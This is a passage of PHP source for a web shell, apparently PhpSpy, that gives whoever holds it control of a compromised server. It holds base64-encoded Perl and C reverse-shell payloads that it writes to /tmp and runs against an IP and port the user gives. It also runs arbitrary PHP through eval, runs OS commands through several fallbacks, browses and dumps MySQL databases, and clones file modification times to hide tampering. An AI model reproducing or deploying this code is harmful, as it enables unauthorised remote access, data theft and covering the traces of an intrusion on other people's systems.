791 $('setdbname').submit();
792}
793function settable(tablename,doing,page) {
794 if(!tablename) return;
795 if (doing) {
796 $('settable').doing.value=doing;
797 }
798 if (page) {
799 $('settable').page.value=page;
800 }
801 $('settable').tablename.value=tablename;
802 $('settable').submit();
803}
804</script>
805<?php
806 //#++ў+|-+
807 formhead(array('name'=>'recordlist'));
808 makehide('doing');
809 makehide('action','sqladmin');
810 makehide('base64');
811 makehide('tablename');
812 p($dbform);
813 formfoot();
814
815 //-б|и- +|+т
816 formhead(array('name'=>'setdbname'));
817 makehide('action','sqladmin');
818 p($dbform);
819 if (!$dbname) {
820 makehide('dbname');
821 }
822 formfoot();
823
824 //-б|и#э
825 formhead(array('name'=>'settable'));
826 makehide('action','sqladmin');
827 p($dbform);
828 makehide('tablename');
829 makehide('page',$page);
830 makehide('doing');
831 formfoot();
832
833 $cachetables = array();
834 $pagenum = 30;
835 $page = intval($page);
836 if($page) {
837 $start_limit = ($page - 1) * $pagenum;
838 } else {
839 $start_limit = 0;
840 $page = 1;
841 }
842 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
843 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
844 //+ё+б- +|+т-+-в
845 $mysqlver = mysql_get_server_info();
846 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
847 $highver = $mysqlver > '4.1' ? 1 : 0;
848
849 //+ё+б- +|+т
850 $query = q("SHOW DATABASES");
851 $dbs = array();
852 $dbs[] = '-- Select a database --';
853 while($db = mysql_fetch_array($query)) {
854 $dbs[$db['Database']] = $db['Database'];
855 }
856 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
857 $tabledb = array();
858 if ($dbname) {
859 p('<p>');
860 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
861 if ($tablename) {
862 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
863 }
864 p('</p>');
865 mysql_select_db($dbname);
866
867 $getnumsql = '';
868 $runquery = 0;
869 if ($sql_query) {
870 $runquery = 1;
871 }
872 $allowedit = 0;
873 if ($tablename && !$sql_query) {
874 $sql_query = "SELECT * FROM $tablename";
875 $getnumsql = $sql_query;
876 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
877 $allowedit = 1;
878 }
879 p('<form action="'.$self.'" method="POST">');
880 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
881 makehide('tablename', $tablename);
882 makehide('action','sqladmin');
883 p($dbform);
884 p('</form>');
885 if ($tablename || ($runquery && $sql_query)) {
886 if ($doing == 'structure') {
887 $result = q("SHOW COLUMNS FROM $tablename");
888 $rowdb = array();
889 while($row = mysql_fetch_array($result)) {
890 $rowdb[] = $row;
891 }
892 p('<table border="0" cellpadding="3" cellspacing="0">');
893 p('<tr class="head">');
894 p('<td>Field</td>');
895 p('<td>Type</td>');
896 p('<td>Null</td>');
897 p('<td>Key</td>');
898 p('<td>Default</td>');
899 p('<td>Extra</td>');
900 p('</tr>');
901 foreach ($rowdb as $row) {
902 $thisbg = bg();
903 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
904 p('<td>'.$row['Field'].'</td>');
905 p('<td>'.$row['Type'].'</td>');
906 p('<td>'.$row['Null'].' </td>');
907 p('<td>'.$row['Key'].' </td>');
908 p('<td>'.$row['Default'].' </td>');
909 p('<td>'.$row['Extra'].' </td>');
910 p('</tr>');
911 }
912 tbfoot();
913 } elseif ($doing == 'insert' || $doing == 'edit') {
914 $result = q('SHOW COLUMNS FROM '.$tablename);
915 while ($row = mysql_fetch_array($result)) {
916 $rowdb[] = $row;
917 }
918 $rs = array();
919 if ($doing == 'insert') {
920 p('<h2>Insert new line in '.$tablename.' table »</h2>');
921 } else {
922 p('<h2>Update record in '.$tablename.' table »</h2>');
923 $where = base64_decode($base64);
924 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
925 $rs = mysql_fetch_array($result);
926 }
927 p('<form method="post" action="'.$self.'">');
928 p($dbform);
929 makehide('action','sqladmin');
930 makehide('tablename',$tablename);
931 p('<table border="0" cellpadding="3" cellspacing="0">');
932 foreach ($rowdb as $row) {
933 if ($rs[$row['Field']]) {
934 $value = htmlspecialchars($rs[$row['Field']]);
935 } else {
936 $value = '';
937 }
938 $thisbg = bg();
939 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
940 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
941 }
942 if ($doing == 'insert') {
943 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
944 } else {
945 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
946 makehide('base64', $base64);
947 }
948 p('</table></form>');
949 } else {
950 $querys = @explode(';',$sql_query);
951 foreach($querys as $num=>$query) {
952 if ($query) {
953 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
954 switch(qy($query))
955 {
956 case 0:
957 p('<h2>Error : '.mysql_error().'</h2>');
958 break;
959 case 1:
960 if (strtolower(substr($query,0,13)) == 'select * from') {
961 $allowedit = 1;
962 }
963 if ($getnumsql) {
964 $tatol = mysql_num_rows(q($getnumsql));
965 $multipage = multi($tatol, $pagenum, $page, $tablename);
966 }
967 if (!$tablename) {
968 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
969 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
970 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
971 $tablename = $matches[1][0];
972 }
973 $result = q($query);
974 p($multipage);
975 p('<table border="0" cellpadding="3" cellspacing="0">');
976 p('<tr class="head">');
977 if ($allowedit) p('<td>Action</td>');
978 $fieldnum = @mysql_num_fields($result);
979 for($i=0;$i<$fieldnum;$i++){
980 $name = @mysql_field_name($result, $i);
981 $type = @mysql_field_type($result, $i);
982 $len = @mysql_field_len($result, $i);
983 p("<td nowrap>$name<br><span>$type($len)</span></td>");
984 }
985 p('</tr>');
986 while($mn = @mysql_fetch_assoc($result)){
987 $thisbg = bg();
988 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
989 $where = $tmp = $b1 = '';
990 foreach($mn as $key=>$inside){
991 if ($inside) {
992 $where .= $tmp.$key."='".addslashes($inside)."'";
993 $tmp = ' AND ';
994 }
995 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
996 }
997 $where = base64_encode($where);
998 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
999 p($b1);
1000 p('</tr>');
1001 unset($b1);
1002 }
1003 tbfoot();
1004 p($multipage);
1005 break;
1006 case 2:
1007 $ar = mysql_affected_rows();
1008 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1009 break;
1010 }
1011 }
1012 }
1013 }
1014 } else {
1015 $query = q("SHOW TABLE STATUS");
1016 $table_num = $table_rows = $data_size = 0;
1017 $tabledb = array();
1018 while($table = mysql_fetch_array($query)) {
1019 $data_size = $data_size + $table['Data_length'];
1020 $table_rows = $table_rows + $table['Rows'];
1021 $table['Data_length'] = sizecount($table['Data_length']);
1022 $table_num++;
1023 $tabledb[] = $table;
1024 }
1025 $data_size = sizecount($data_size);
1026 unset($table);
1027 p('<table border="0" cellpadding="0" cellspacing="0">');
1028 p('<form action="'.$self.'" method="POST">');
1029 makehide('action','sqladmin');
1030 p($dbform);
1031 p('<tr class="head">');
1032 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1033 p('<td>Name</td>');
1034 p('<td>Rows</td>');
1035 p('<td>Data_length</td>');
1036 p('<td>Create_time</td>');
1037 p('<td>Update_time</td>');
1038 if ($highver) {
1039 p('<td>Engine</td>');
1040 p('<td>Collation</td>');
1041 }
1042 p('</tr>');
1043 foreach ($tabledb as $key => $table) {
1044 $thisbg = bg();
1045 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1046 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1047 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1048 p('<td>'.$table['Rows'].'</td>');
1049 p('<td>'.$table['Data_length'].'</td>');
1050 p('<td>'.$table['Create_time'].'</td>');
1051 p('<td>'.$table['Update_time'].'</td>');
1052 if ($highver) {
1053 p('<td>'.$table['Engine'].'</td>');
1054 p('<td>'.$table['Collation'].'</td>');
1055 }
1056 p('</tr>');
1057 }
1058 p('<tr class='.bg().'>');
1059 p('<td> </td>');
1060 p('<td>Total tables: '.$table_num.'</td>');
1061 p('<td>'.$table_rows.'</td>');
1062 p('<td>'.$data_size.'</td>');
1063 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1064 p('</tr>');
1065
1066 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1067 makehide('doing','backupmysql');
1068 formfoot();
1069 p("</table>");
1070 fr($query);
1071 }
1072 }
1073 }
1074 tbfoot();
1075 @mysql_close();
1076}//end sql backup
1077
1078
1079elseif ($action == 'backconnect') {
1080 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1081 !$yourport && $yourport = '12345';
1082 $usedb = array('perl'=>'perl','c'=>'c');
1083
1084 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1085 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1086 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1087 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1088 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1089 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1090 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1091 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1092 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1093 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1094 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1095 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1096 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1097 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1098 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1099
1100 if ($start && $yourip && $yourport && $use){
1101 if ($use == 'perl') {
1102 cf('/tmp/angel_bc',$back_connect);
1103 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1104 } else {
1105 cf('/tmp/angel_bc.c',$back_connect_c);
1106 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1107 @unlink('/tmp/angel_bc.c');
1108 $res = execute("/tmp/angel_bc $yourip $yourport &");
1109 }
1110 m("Now script try connect to $yourip port $yourport ...");
1111 }
1112
1113 formhead(array('title'=>'Back Connect'));
1114 makehide('action','backconnect');
1115 p('<p>');
1116 p('Your IP:');
1117 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1118 p('Your Port:');
1119 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1120 p('Use:');
1121 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1122 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1123 p('</p>');
1124 formfoot();
1125}//end sql backup
1126
1127elseif ($action == 'eval') {
1128 $phpcode = trim($phpcode);
1129 if($phpcode){
1130 if (!preg_match('#<\?#si', $phpcode)) {
1131 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1132 }
1133 eval("?".">$phpcode<?");
1134 }
1135 formhead(array('title'=>'Eval PHP Code'));
1136 makehide('action','eval');
1137 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1138 p('<p><a href="http://www.alturks.com/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1139 formfooter();
1140}//end eval
1141
1142elseif ($action == 'editfile') {
1143 if(file_exists($opfile)) {
1144 $fp=@fopen($opfile,'r');
1145 $contents=@fread($fp, filesize($opfile));
1146 @fclose($fp);
1147 $contents=htmlspecialchars($contents);
1148 }
1149 formhead(array('title'=>'Create / Edit File'));
1150 makehide('action','file');
1151 makehide('dir',$nowpath);
1152 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1153 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1154 formfooter();
1155}//end editfile
1156
1157elseif ($action == 'newtime') {
1158 $opfilemtime = @filemtime($opfile);
1159 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1160 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1161 formhead(array('title'=>'Clone file was last modified time'));
1162 makehide('action','file');
1163 makehide('dir',$nowpath);
1164 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1165 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1166 formfooter();
1167 formhead(array('title'=>'Set last modified'));
1168 makehide('action','file');
1169 makehide('dir',$nowpath);
1170 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1171 p('<p>Instead »');
1172 p('year:');
1173 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1174 p('month:');
1175 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1176 p('day:');
1177 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1178 p('hour:');
1179 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1180 p('minute:');
1181 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1182 p('second:');
1183 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1184 p('</p>');
1185 formfooter();
1186}//end newtime
1187
1188elseif ($action == 'shell') {
1189 if (IS_WIN && IS_COM) {
1190 if($program && $parameter) {
1191 $shell= new COM('Shell.Application');
1192 $a = $shell->ShellExecute($program,$parameter);
1193 m('Program run has '.(!$a ? 'success' : 'fail'));
1194 }
1195 !$program && $program = 'c:\windows\system32\cmd.exe';
1196 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1197 formhead(array('title'=>'Execute Program'));
1198 makehide('action','shell');
1199 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1200 p('<p>');
1201 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1202 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1203 p('</p>');
1204 formfoot();
1205 }
1206 formhead(array('title'=>'Execute Command'));
1207 makehide('action','shell');
1208 if (IS_WIN && IS_COM) {
1209 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1210 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1211 }
1212 p('<p>');
1213 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1214 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1215 p('</p>');
1216 formfoot();
1217
1218 if ($command) {
1219 p('<hr width="100%" noshade /><pre>');
1220 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1221 $wsh = new COM('WScript.shell');
1222 $exec = $wsh->exec('cmd.exe /c '.$command);
1223 $stdout = $exec->StdOut();
1224 $stroutput = $stdout->ReadAll();
1225 echo $stroutput;
1226 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1227 $descriptorspec = array(
1228 0 => array('pipe', 'r'),
1229 1 => array('pipe', 'w'),
1230 2 => array('pipe', 'w')
1231 );
1232 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1233 if (is_resource($process)) {
1234 fwrite($pipes[0], $command."\r\n");
1235 fwrite($pipes[0], "exit\r\n");
1236 fclose($pipes[0]);
1237 while (!feof($pipes[1])) {
1238 echo fgets($pipes[1], 1024);
1239 }
1240 fclose($pipes[1]);
1241 while (!feof($pipes[2])) {
1242 echo fgets($pipes[2], 1024);
1243 }
1244 fclose($pipes[2]);
1245 proc_close($process);
1246 }
1247 } else {
1248 echo(execute($command));
1249 }
1250 p('</pre>');
1251 }
1252}//end shell
1253
1254elseif ($action == 'phpenv') {
1255 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1256 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1257 !$dis_func && $dis_func = 'No';
1258 $info = array(
1259 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1260 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1261 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1262 4 => array('Server OS',PHP_OS),
1263 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1264 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1265 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1266 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1267 9 => array('The file path',__FILE__),
1268
1269 10 => array('PHP Version',PHP_VERSION),
1270 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1271 12 => array('Safe Mode',getcfg('safe_mode')),
1272 13 => array('Administrator',$adminmail),
1273 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1274 15 => array('enable_dl',getcfg('enable_dl')),
1275 16 => array('display_errors',getcfg('display_errors')),
1276 17 => array('register_globals',getcfg('register_globals')),
1277 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1278 19 => array('memory_limit',getcfg('memory_limit')),
1279 20 => array('post_max_size',getcfg('post_max_size')),
1280 21 => array('upload_max_filesize',$upsize),
1281 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1282 23 => array('disable_functions',$dis_func),
1283 );
1284
1285 if($phpvarname) {
1286 m($phpvarname .' : '.getcfg($phpvarname));
1287 }
1288
1289 formhead(array('title'=>'Server environment'));
1290 makehide('action','phpenv');
1291 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1292 formfooter();
1293
1294 $hp = array(0=> 'Server', 1=> 'PHP');
1295 for($a=0;$a<2;$a++) {
1296 p('<h2>'.$hp[$a].' »</h2>');
1297 p('<ul class="info">');
1298 if ($a==0) {
1299 for($i=1;$i<=9;$i++) {
1300 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1301 }
1302 } elseif ($a == 1) {
1303 for($i=10;$i<=23;$i++) {
1304 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1305 }
1306 }
1307 p('</ul>');
1308 }
1309}//end phpenv
1310
1311else {
1312 m('Undefined Action');
1313}
1314
1315?>
1316</td></tr></table>
1317<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1318 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1319 Copyright (C) 2004-2008 <a href="http://www.alturks.com" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1320</div>
1321</body>
1322</html>
1323
1324<?php
1325
1326/*======================================================
1327|п- +т
1328======================================================*/
1329
1330function m($msg) {
1331 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1332 echo $msg;
1333 echo '</div>';
1334}
1335function scookie($key, $value, $life = 0, $prefix = 1) {
1336 global $admin, $timestamp, $_SERVER;
1337 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1338 $life = $life ? $life : $admin['cookielife'];
1339 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1340 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1341}
1342function multi($num, $perpage, $curpage, $tablename) {
1343 $multipage = '';
1344 if($num > $perpage) {
1345 $page = 10;
1346 $offset = 5;
1347 $pages = @ceil($num / $perpage);
1348 if($page > $pages) {
1349 $from = 1;
1350 $to = $pages;
1351 } else {
1352 $from = $curpage - $offset;
1353 $to = $curpage + $page - $offset - 1;
1354 if($from < 1) {
1355 $to = $curpage + 1 - $from;
1356 $from = 1;
1357 if(($to - $from) < $page && ($to - $from) < $pages) {
1358 $to = $page;
1359 }
1360 } elseif($to > $pages) {
1361 $from = $curpage - $pages + $to;
1362 $to = $pages;
1363 if(($to - $from) < $page && ($to - $from) < $pages) {
1364 $from = $pages - $page + 1;
1365 }
1366 }
1367 }
1368 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1369 for($i = $from; $i <= $to; $i++) {
1370 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1371 }
1372 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1373 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1374 }
1375 return $multipage;
1376}
1377// ||-++ы++
1378function loginpage() {
1379?>
1380 <style type="text/css">
1381 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1382 </style>
1383 <form method="POST" action="">
1384 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1385 <input type="hidden" name="doing" value="login">
1386 <input type="submit" value="Login">
1387 </form>
1388<?php
1389 exit;
1390}//end loginpage()
1391
1392function execute($cfe) {
1393 $res = '';
1394 if ($cfe) {
1395 if(function_exists('exec')) {
1396 @exec($cfe,$res);
1397 $res = join("\n",$res);
1398 } elseif(function_exists('shell_exec')) {
1399 $res = @shell_exec($cfe);
1400 } elseif(function_exists('system')) {
1401 @ob_start();
1402 @system($cfe);
1403 $res = @ob_get_contents();
1404 @ob_end_clean();
1405 } elseif(function_exists('passthru')) {
1406 @ob_start();
1407 @passthru($cfe);
1408 $res = @ob_get_contents();
1409 @ob_end_clean();
1410 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1411 $res = '';
1412 while(!@feof($f)) {
1413 $res .= @fread($f,1024);
1414 }
1415 @pclose($f);
1416 }
1417 }
1418 return $res;
1419}
1420function which($pr) {
1421 $path = execute("which $pr");
1422 return ($path ? $path : $pr);
1423}
1424
1425function cf($fname,$text){
1426 if($fp=@fopen($fname,'w')) {
1427 @fputs($fp,@base64_decode($text));
1428 @fclose($fp);
1429 }
1430}
1431
1432// -||ц|ў-+-+-в
1433function debuginfo() {
1434 global $starttime;
1435 $mtime = explode(' ', microtime());
1436 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1437 echo 'Processed in '.$totaltime.' second(s)';
1438}
1439
1440//-м++- +|+т
1441function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1442 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1443 p('<h2>Can not connect to MySQL server</h2>');
1444 exit;
1445 }
1446 if($link && $dbname) {
1447 if (!@mysql_select_db($dbname, $link)) {
1448 p('<h2>Database selected has error</h2>');
1449 exit;
1450 }
1451 }
1452 if($link && mysql_get_server_info() > '4.1') {
1453 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1454 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1455 }
1456 }
1457 return $link;
1458}
1459
1460// +е|Ї+к-х+++
1461function s_array(&$array) {
1462 if (is_array($array)) {
1463 foreach ($array as $k => $v) {
1464 $array[$k] = s_array($v);
1465 }
1466 } else if (is_string($array)) {
1467 $array = stripslashes($array);
1468 }
1469 return $array;
1470}
1471
1472// |х| HTML| -ы
1473function html_clean($content) {
1474 $content = htmlspecialchars($content);
1475 $content = str_replace("\n", "<br />", $content);
1476 $content = str_replace(" ", " ", $content);
1477 $content = str_replace("\t", " ", $content);
1478 return $content;
1479}
1480
1481// +ё+б+и-|
1482function getChmod($filepath){
1483 return substr(base_convert(@fileperms($filepath),10,8),-4);
1484}
1485
1486function getPerms($filepath) {
1487 $mode = @fileperms($filepath);
1488 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1489 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1490 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1491 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1492 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1493 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1494 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1495 else {$type = '?';}
1496
1497 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1498 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1499 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1500 $group['read'] = ($mode & 00040) ? 'r' : '-';
1501 $group['write'] = ($mode & 00020) ? 'w' : '-';
1502 $group['execute'] = ($mode & 00010) ? 'x' : '-';
